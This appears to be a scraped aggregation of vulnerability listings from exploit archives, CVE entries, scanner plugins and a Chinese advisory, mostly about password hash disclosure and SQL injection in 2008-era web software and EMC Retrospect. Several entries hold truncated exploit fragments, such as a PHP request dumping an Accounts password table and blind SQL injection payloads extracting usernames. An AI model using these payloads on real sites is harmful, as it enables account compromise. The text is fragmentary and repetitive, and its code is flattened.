PHPFootball 1.6 - Remote Hash Disclosure

PHPFootball 1.6 - Remote Hash Disclosure \n"; exit; else $head .= "GET /$path/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n"; $head .= "Host: $host\r\n"; $head .= "Connection: close\r\n\r\n"; $fsock = fsockopen $host,80; fputs $fsock,$head; while !feof$fsock $cont .= fgets$fsock;...

CMS NetCat 3.0/3.12 Blind SQL Injection Exploit

No description provided by source. ? / AIST NetCat Blind SQL Injection exploit by s4avrd0w [email protected] Versions affected = 3.12 More info: http://www.netcat.ru/ tested on version 3.0, 3.12 usage: ./NetCatblindSQLexploit.php -s=NetCatserver -u=UserID The options are required: -u The user...

CMS NetCat 3.12 (password_recovery.php) Blind SQL Injection Exploit

No description provided by source. ? / NetCat Blind SQL Injection exploit by s4avrd0w [email protected] Versions affected 3.12 More info: http://www.netcat.ru/ tested on version 3.12 usage: ./NetCatblindSQLexploit.php -s=NetCatserver -u=UserID The options are required: -u The user identifier number...

FLDS 1.2a Blind SQL Injection

FLDS 1.2a lpro.php id Blind SQL Injection Vulnerability + Discovered By SirGod + Greetz : All my friends + Blind SQL Injection - Get username : http://target/path/lpro.php?id=1 and asciisubstringSELECT username from users limit 0,1,1,196 Query is truepage loads normally.Going to next ascii char...

Minigal b13 - Remote File Disclosure

?php settimelimit0; function findpass$data $pass = explode'$adminpass = "',$data; if$pass1!="" echo"Vuln exploited enjoy !\n"; sleep1; echo"Admin hash == ".substr$pass1,0,32."\n"; else echo"Exploit failed!!!!"; function send$pack,$host,$port $ret = ""; $desc = fsockopen$host,$port,$errno, $errstr...

Typo <= 5.1.3 Multiple Vulnerabilities

====================================================================== Typo = 5.1.3 Multiple Vulnerabilities ====================================================================== Author: L4teral l4teral at gmail com Impact: Cross Site Scripting SQL Injection Insecure password hash salt Status:...

typo-sqlxss.txt

====================================================================== Typo Impact: Cross Site Scripting SQL Injection Insecure password hash salt Status: patch not available ------------------------------ Affected software description: ------------------------------ Application: Typo Version: =...

Mosaic Commerce - 'cid' SQL Injection

Mosaic Commerce SQL Injection Vulnerability Discovered By Ali AbbasiabbasiAtustmb.ac.ir Mazandaran University Of Science And Technology Network Security Research Center Babol, Iran http://cyber-defence.com Greetz For All Persian Bugtraq Members www.bugtraq.ir SQL BUG...

IP Reg <= 0.4 Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================ IP Reg post$host, username = $param, userpass = 'admin' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpass,$uidz,1=$charz,"...

Simple PHP Blog config/users.php Arbitrary User Password Hash Disclosure

The version of Simple PHP Blog installed on the remote host allows an unauthenticated, remote attacker to retrieve information about non-admin users defined to the application, including their user names and password hashes, which could in turn be used to gain access to the application. While the...

Cross site request forgery (csrf)

Davlin Thickbox Gallery 2 allows remote attackers to obtain the administrative username and MD5 password hash via a direct request to conf/admins.php...

CVE-2008-3859

Davlin Thickbox Gallery 2 allows remote attackers to obtain the administrative username and MD5 password hash via a direct request to conf/admins.php...

CVE-2008-3289

EMC Dantz Retrospect Backup Client 7.5.116 sends the password hash in cleartext at an unspecified point, which allows remote attackers to obtain sensitive information via a crafted packet...

CVE-2008-3289

EMC Dantz Retrospect Backup Client 7.5.116 sends the password hash in cleartext at an unspecified point, which allows remote attackers to obtain sensitive information via a crafted packet...

CVE-2008-3289

CVE-2008-3289 affects EMC Dantz Retrospect Backup Client 7.5.116, where the password hash is sent in cleartext at an unspecified point, enabling remote disclosure of sensitive information via crafted packets. Connected sources (NVD and related advisories) confirm the unencrypted password hash tra...

PT-2008-4695 · Emc · Emc Dantz Retrospect Backup Client

Name of the Vulnerable Software and Affected Versions: EMC Dantz Retrospect Backup Client version 7.5.116 Description: The issue allows remote attackers to obtain sensitive information via a crafted packet, as the password hash is sent in cleartext. Recommendations: For version 7.5.116, consider...

Retrospect Backup Server < 7.6 Authentication Module Password Hash Disclosure (ESA-08-009)

Binary data 4607.prm...

Retrospect Backup Client <= 7.5.116 Multiple Vulnerabilities (ESA-08-009)

Binary data 4606.prm...

openSUSE libxcrypt不安全口令哈希漏洞

BUGTRAQ ID: 30301 CVECAN ID: CVE-2008-3188 openSUSE是一个易于安装SUSE Linux操作系统版本。 openSUSE使用libxcrypt库计算口令的哈希值，可以配置为使用DES、MD5或blowfish。由于libxcrypt库中的一个漏洞，即使/etc/default/passwd文件中已经配置了MD5，系统仍会忽略这个设置使用DES算法。相对较弱的算法可能有助于攻击者的暴力破解。 S.u.S.E. openSUSE 11.0 S.u.S.E. -------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Retrospect Backup Client Multiple Vulnerabilities (ESA-08-009)

According to its version number, the Retrospect Backup Client installed on the remote host is affected by several vulnerabilities : - An error in the client may lead to memory corruption and in turn a denial of service condition when processing specially crafted packets, although only when an...